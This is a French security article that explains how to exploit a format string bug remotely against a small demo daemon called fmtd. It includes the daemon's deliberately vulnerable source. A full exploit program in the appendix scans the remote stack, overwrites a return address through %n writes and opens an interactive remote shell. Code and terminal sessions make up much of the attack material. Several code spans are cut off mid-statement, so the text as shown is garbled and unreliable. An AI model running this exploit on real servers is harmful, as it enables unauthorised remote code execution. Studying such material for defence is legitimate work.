Exploitation distante et automatique d'un bogue de format Frédéric Raynal L'exploitation à distance d'un bogue de format est un exercice assez amusant. Il permet en outre de bien saisir l'étendue des risques présentés par ces bogues. Nous ne reviendrons pas dans cet article sur les bogues de format (origine du problème et construction de la chaîne de format) : la littérature sur le sujet commence à être suffisamment abondante et le lecteur pourra se référer aux articles cités dans la bibliographie. --[ 1. Contexte : le serveur vulnérable ]-- Un serveur très simple (mais néanmoins pédagogique) nous accompagnera tout au long de ce document. Il demande la saisie tout d'abord d'un login puis d'un mot de passe. Ensuite, il reproduit l'entrée standard sur la sortie standard. Ses sources sont disponibles en annexe 1. Pour installer notre serveur fmtd, nous configurons inetd pour qu'il autorise les connexions TCP vers le port 12345 : # /etc/inetd.conf 12345 stream tcp nowait raynal /home/raynal/MISC/2-MISC/RemoteFMT/fmtd Ou, si vous utilisez xinetd : # /etc/xinetd.conf service fmtd { type = UNLISTED user = raynal group = users socket_type = stream protocol = tcp wait = no server = /tmp/fmtd port = 12345 only_from = 192.168.1.1 192.168.1.2 127.0.0.1 } Relancer le serveur considéré. N'oublier pas non plus de configurer un éventuel pare-feu pour qu'il ne bloque pas le port voulu. Maintenant que tout est en place, voyons comment fonctionne notre démon : $ telnet bosley 12345 Trying 192.168.1.2... Connected to bosley. Escape character is '^]'. login: raynal password: secret hello world hello world ^] telnet> quit Connection closed. Notre démon génère des traces des le fichier de logs : Jan 4 10:49:09 bosley fmtd[877]: login -> read login [raynal^M ] (8) bytes Jan 4 10:49:14 bosley fmtd[877]: passwd -> read passwd [bffff9d0] (8) bytes Jan 4 10:49:56 bosley fmtd[877]: vul() -> error while reading input buf [] (0) Jan 4 10:49:56 bosley inetd[407]: pid 877: exit status 255 Lors de la session précédente, nous avons simplement saisi une paire login / mot de passe, une entrée puis nous nous sommes déconnectés. Regardons ce qui se passe lorsque nous lui passons des instructions de formatage : telnet bosley 12345 Trying 192.168.1.2... Connected to bosley. Escape character is '^]'. login: raynal password: secret %x %x %x %x d 25207825 78252078 d782520 Les instructions "%x %x %x %x" étant exécutées, notre serveur est donc vulnérable à un bogue de format. En fait, tous les programmes qui réagissent de cette manière ne sont pas nécessairement exploitables comme des bogues de format : int main( int argc, char ** argv ) { char buf[8]; sprintf( buf, argv[1] ); } Tenter d'exploiter ce programme avec des %hn conduit à un débordement de buffer : la chaîne formatée par argv[1] s'accroît, mais comme aucun contrôle sur la taille n'est réalisé, le buffer déborde et le programme plante. En examinant les sources, la vulnérabilité est localisée dans la fonction vul() : ... snprintf(tmp, sizeof(tmp)-1, buf); ... Le buffer buf est celui directement fourni par l'utilisateur. Nous sommes donc à même de le contrôler complètement, tout comme le serveur sur lequel le démon fonctionne. --[ 2. Les paramètres ]-- Tout comme lors de l'exploitation locale d'un bogue de format, les mêmes paramètres sont nécessaires : * le décalage (ou offset) pour atteindre le début du buffer ; * l'adresse du shellcode dans la pile du serveur ; * l'adresse du buffer vulnérable ; * une adresse de retour. Le code de l'exploit est disponible en annexe 2 <#annexe2>. Nous reprenons dans la suite de cet article les variables définies dans le programme : * sd : la socket entre le client (i.e. l'exploit) et le serveur vulnérable ; * buf : un buffer servant à lire/écrire des données ; * read_at : une adresse dans la pile du serveur ; * fmt : la chaîne de format envoyée au serveur. --[ 2.1 L'offset ]-- Paramètre dont nous avons toujours besoin pour exploiter un tel bogue, sa détermination est identique à celle effectuée en locale : telnet bosley 12345 Trying 192.168.1.2... Connected to bosley. Escape character is '^]'. login: raynal password: secret AAAA%1$x AAAAa AAAA%2$x AAAA41414141 Dans cet exemple, l'offset vaut donc 2. Il est facile d'automatiser cette étape en testant différentes valeurs. C'est le rôle de la fonction get_offset() qui envoie la chaîne "AAAA%$x" au serveur. Si l'offset vaut bien val, le serveur répond avec la chaîne "AAAA41414141" : #define MAXOFFSET 255 for (i = 1; i%$s Dans le code de notre exploit, cette opération est réalisé en deux étapes : 1. l'appel à la fonction get_addr_as_char(u_int addr, char *buf) convertit addr en char : *(u_int*)buf = addr; Au cas où un des octets serait nul, on y ajoute 1 ; 2. ensuite, les quatre octets suivants contiennent l'instruction de formatage. La chaîne ainsi construite est expédiée au serveur : get_addr_as_char(read_at, fmt); snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset); write(sd, fmt, strlen(fmt)); On lit à l'adresse une chaîne de caractères. Si celle-ci ne contient pas le shellcode, la prochaine lecture est effectuée à l'adresse , à laquelle il faut ajouter le nombre d'octets lus (i.e. la valeur de retour de la fonction read()). Cependant, parmi les len caractères reçus, tous ne sont pas à comptabiliser. L'instruction qui pose un problème sur le serveur est de la forme : sprintf(out, in); Nous avons détaillé le contenu du buffer d'entrée in. Pour construire le buffer de sortie, la fonction sprintf() commence par parcourir in. Les quatre premiers octets correspondent à l'adresse lue : ils sont recopiés à l'identique dans le buffer de sortie out. Ensuite seulement, l'instruction de formatage est interprétée. Nous devons donc retirer ces quatre octets : while( (len = read(sd, buf, sizeof(buf))) > 0) { [ ... ] read_at += (len-4+1); [ ... ] } -- --[ Que chercher ? ]-- -- En fait, le premier problème qui se pose est comment identifier le shellcode ? Si on recherche l'intégralité des octets du shellcode, on risque de ne pas le trouver. En effet, le buffer est suivi d'un caractère NULL et la chaîne qui le précède peut contenir plus ou moins de NOPs. Par conséquent, le shellcode risque d'être partagé sur deux lectures. Pour éviter ce désagrément, dans le cas où le nombre d'octets lus est égal à la taille du buffer, on « oublie » les derniers sizeof(shellcode) octets lus et on regarde à l'adresse prévue, moins cette même valeur : while( (len = read(sd, buf, sizeof(buf))) > 0) { [ ... ] read_at += len; if (len == sizeof(buf)) read_at-=strlen(shellcode); [ ... ] } En toute honnêteté, ce cas de figure n'a pu être testé, et je ne garanti donc absolument pas que ça fonctionne ;-/ -- --[ Détermination de l'adresse exacte du shellcode ]-- -- La recherche d'un motif dans une chaîne est effectuée par l'instruction : ptr = strstr(buf, pattern); Celle-ci retourne un pointeur dans la chaîne scannée qui désigne le premier caractère du motif recherché. La position en mémoire du shellcode sur le serveur est donc donnée par : addr_shellcode = read_at + (ptr-buf); Sauf que notre buffer contient des choses qu'il faut aussi comptabiliser. Comme précédemment pour l'exploration de la pile, le buffer de sorti contient dès le début quatre octets indiquant l'adresse lue qu'il faut retirer du comptage : addr_shellcode = read_at + (ptr-buf) - 4; -- --[ shellcode : le résumé ]-- -- Un bout de code valant parfois mieux qu'un long discours : while( (len = read(sd, buf, sizeof(buf))) > 0) { if ((ptr = strstr(buf, shellcode))) { addr_shellcode = read_at + (ptr-buf) - 4; break; } read_at += (len-4+1); if (len == sizeof(buf)) { read_at-=strlen(shellcode); } memset (buf, 0x0, sizeof (buf)); get_addr_as_char(read_at, fmt); write(sd, fmt, strlen(fmt)); } --[ 2.3 Le problème de l'adresse de retour ]-- Il nous reste un dernier paramètre à considérer : l'adresse de retour. En effet, si nous connaissons l'offset et la position du shellcode en mémoire, il nous faut encore déterminer une adresse de retour valide dans la pile pour la remplacer par celle du shellcode. Nous ne reviendrons pas ici en détails sur les mécanismes qui régissent l'appel des fonctions, rappelons uniquement l'empilement des paramètres et variables locales lors de l'appel d'une fonction. Les arguments sont placés dans la pile du dernier au premier. Ensuite, le registre d'instructions est sauvegardé (%eip), ainsi que le registre %ebp qui marque le début de la mémoire pour la fonction appelée. A partir de cette adresse, de l'espace mémoire est réservé pour les variables locales de la fonction. Lorsque la fonction est terminée, le registre d'instructions est dépilé et le ménage fait dans la pile Attention, cela signifie simplement que les registres %esp et %ebp sont repositionnés en fonction du contexte de la fonction appelante. En aucun cas la mémoire n'est nettoyée d'une quelconque façon. Notre but est donc maintenant de parvenir à déterminer une adresse de retour, c'est-à-dire la position d'un registre %eip sauvegardé dans la pile. Nous effectuons cette opération en deux étapes : 1. détermination de l'adresse du buffer d'entrée 2. détermination de l'adresse de retour sauvegardée pour la fonction où se situe le buffer vulnérable. Pourquoi rechercher l'adresse du buffer ? Toutes les paires (saved ebp, saved eip) que nous pouvons trouver dans la pile ne conviennent pas. La pile n'est pas « nettoyée » entre chaque appel de fonction. Elle contient donc des résidus des appels précédents, mais qui ne sont pas réellement dans la mémoire utilisée par le processus. Pour remédier à cela, il nous faut déterminer l'adresse du buffer d'entrée. En effet, il est au sommet de la pile. Toute paire qui se situe au dessus dans la pile nous convient. Détermination de l'adresse du buffer Le buffer d'entrée qui nous permet de passer les instructions de formatage au buffer vulnérable est facilement identifiable dans la mémoire du serveur : il joue le rôle d'un miroir par rapport aux instructions que nous lui passons. En effet, notre serveur fmtd les recopie sans les modifier (ATTENTION: si des caractères étaient placés dans la réponse du serveur, ils devraient être pris en considération dans ce qui suit). Nous cherchons donc maintenant l'adresse où se situe l'instruction de formatage à l'identique que nous passons au serveur : while((len = read(sd, buf, sizeof(buf))) > 0) { if ((ptr = strstr(buf, fmt))) { addr_buffer = read_at + (ptr-buf) - 4; break; } read_at += (len-4+1); memset (buf, 0x0, sizeof (buf)); get_addr_as_char(read_at, fmt); write(sd, fmt, strlen(fmt)); } -- --[ Détermination de l'adresse de retour ]-- -- En général, le sommet de la pile possède l'adresse 0xc0000000 (signalons tout de même que ce n'est pas le cas sur la distribution Caldera où le sommet de la pile est en 0x80000000 si quelqu'un peut m'expliquer pourquoi ?) La place réservée dans la pile dépend alors des besoins du programme, c'est-à-dire des variables locales. Souvent, celles-ci sont situées dans les adresses 0xbfffXXXX, où XX représente un octet indéterminé. Au contraire, les instructions d'un programme (la section .text) sont chargées à partir de 0x08048000. Nous devons donc lire la pile distante pour trouver une paire (saved ebp, saved eip) de la forme : Sommet de la pile 0x0804XXXX 0xbfffXXXX soit, puisque les adresses sont stockées en /little endian/, la chaîne 0xff 0xbf XX XX 0x04 0x08. Comme nous l'avons déjà vu, la chaîne retournée par le serveur commence toujours par les quatre octets de l'adresse lue. Il n'est donc pas nécessaire de les considérer dans la recherche du motif qui nous intéresse : i = 4; while (i #include #include #include #include #include void respond(char *fmt,...); int vul(void) { char tmp[1024]; char buf[1024]; int len = 0; syslog(LOG_ERR, "vul() -> tmp = 0x%x buf = 0x%x\n", tmp, buf); while(1) { memset(buf, 0, sizeof(buf)); memset(tmp, 0, sizeof(tmp)); if ( (len = read(0, buf, sizeof(buf))) <= 0 ) { syslog(LOG_ERR, "vul() -> error while reading input buf [%s] (%d)", buf, len); exit(-1); } /* else syslog(LOG_INFO, "vul() -> read %d bytes", len); */ if (!strncmp(buf, "quit", 4)) { respond("bye bye ...\n"); return 0; } snprintf(tmp, sizeof(tmp)-1, buf); respond("%s", tmp); } } void respond(char *fmt,...) { va_list va; char buf[1024]; int len = 0; va_start(va,fmt); vsnprintf(buf,sizeof(buf),fmt,va); va_end(va); len = write(STDOUT_FILENO,buf,strlen(buf)); /* syslog(LOG_INFO, "respond() -> write %d bytes", len); */ } int main() { struct sockaddr_in sin; int i,len = sizeof(struct sockaddr_in); char login[16]; char passwd[1024]; openlog("fmtd", LOG_NDELAY | LOG_PID, LOG_LOCAL0); /* get login */ memset(login, 0, sizeof(login)); respond("login: "); if ( (len = read(0, login, sizeof(login))) <= 0 ) { syslog(LOG_ERR, "login -> error while reading login [%s] (%d)", login, len); exit(-1); } else syslog(LOG_INFO, "login -> read login [%s] (%d) bytes", login, len); /* get passwd */ memset(passwd, 0, sizeof(passwd)); respond("password: "); if ( (len = read(0, passwd, sizeof(passwd))) <= 0 ) { syslog(LOG_ERR, "passwd -> error while reading passwd [%s] (%d)", passwd, len); exit(-1); } else syslog(LOG_INFO, "passwd -> read passwd [%x] (%d) bytes", passwd, len); /* let's run ... */ vul(); return 0; } ------------------------------------------------------------------------ --[ Annexe 2 : l'exploit expl-fmtd ]-- #include #include #include #include #include #include #include #include #include char verbose = 0, debug = 0; #define OCT( b0, b1, b2, b3, addr, str ) { \ b0 = (addr >> 24) & 0xff; \ b1 = (addr >> 16) & 0xff; \ b2 = (addr >> 8) & 0xff; \ b3 = (addr ) & 0xff; \ if ( b0 * b1 * b2 * b3 == 0 ) { \ printf( "\n%s contains a NUL byte. Leaving...\n", str ); \ exit( EXIT_FAILURE ); \ } \ } #define MAX_FMT_LENGTH 128 #define ADD 0x100 #define FOUR sizeof( size_t ) * 4 #define TWO sizeof( size_t ) * 2 #define BANNER "uname -a ; id" #define MAX_OFFSET 255 int interact(int sock) { fd_set fds; ssize_t ssize; char buffer[1024]; write(sock, BANNER"\n", sizeof(BANNER)); while (1) { FD_ZERO(&fds); FD_SET(STDIN_FILENO, &fds); FD_SET(sock, &fds); select(sock + 1, &fds, NULL, NULL, NULL); if (FD_ISSET(STDIN_FILENO, &fds)) { ssize = read(STDIN_FILENO, buffer, sizeof(buffer)); if (ssize < 0) { return(-1); } if (ssize == 0) { return(0); } write(sock, buffer, ssize); } if (FD_ISSET(sock, &fds)) { ssize = read(sock, buffer, sizeof(buffer)); if (ssize < 0) { return(-1); } if (ssize == 0) { return(0); } write(STDOUT_FILENO, buffer, ssize); } } return(-1); } u_long resolve(char *host) { struct hostent *he; u_long ret; if(!(he = gethostbyname(host))) { herror("gethostbyname()"); exit(-1); } memcpy(&ret, he->h_addr, sizeof(he->h_addr)); return ret; } int build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base) { unsigned char b0, b1, b2, b3; unsigned int high, low; int start = ((base / (ADD * ADD)) + 1) * ADD * ADD; int sz; /* : where to overwrite */ OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]"); sz = snprintf(buf, TWO + 1, /* 8 char to have the 2 addresses */ "%c%c%c%c" /* + 1 for the ending \0 */ "%c%c%c%c", b3, b2, b1, b0, b3 + 2, b2, b1, b0); /* where is our shellcode ? */ OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]"); high = (retaddr & 0xffff0000) >> 16; low = retaddr & 0x0000ffff; return snprintf(buf + sz, MAX_FMT_LENGTH, "%%.%hdx%%%d$n%%.%hdx%%%d$hn", low - TWO + start - base, offset, high - low + start, offset + 1); } void get_addr_as_char(u_int addr, char *buf) { *(u_int*)buf = addr; if (!buf[0]) buf[0]++; if (!buf[1]) buf[1]++; if (!buf[2]) buf[2]++; if (!buf[3]) buf[3]++; } int get_offset(int sock) { int i, offset = -1, len; char fmt[128], buf[128]; for (i = 1; i 0 && (addr_shellcode == -1 || addr_buffer == -1 || addr_ret == -1) ) { if (debug) fprintf(stderr, "Read at 0x%x (%d)\n", read_at, len); /* the shellcode */ if ((ptr = strstr(buf, shellcode))) { addr_shellcode = read_at + (ptr-buf) - 4; fprintf (stderr, "[shell addr is: 0x%x (%d) ]\n", addr_shellcode, len); fprintf(stderr, "buf = (%d)\n", len); for (i=0; i) 3. Éviter les failles de sécurité dès le développement d'une application - 4 : les chaînes de format par F. Raynal, C. Grenier, C. Blaess (http://minimum.inria.fr/~raynal/index.php3?page=121 ou http://www.linuxfocus.org/Francais/July2001/article191.shtml) 4. Exploiting the format string vulnerabilities par scut (team TESO) (http://www.team-teso.net/articles/formatstring) 5. fmtbuilder-howto par F. Raynal et S. Dralet (http://minimum.inria.fr/~raynal/index.php3?page=501) ------------------------------------------------------------------------ Frédéric Raynal -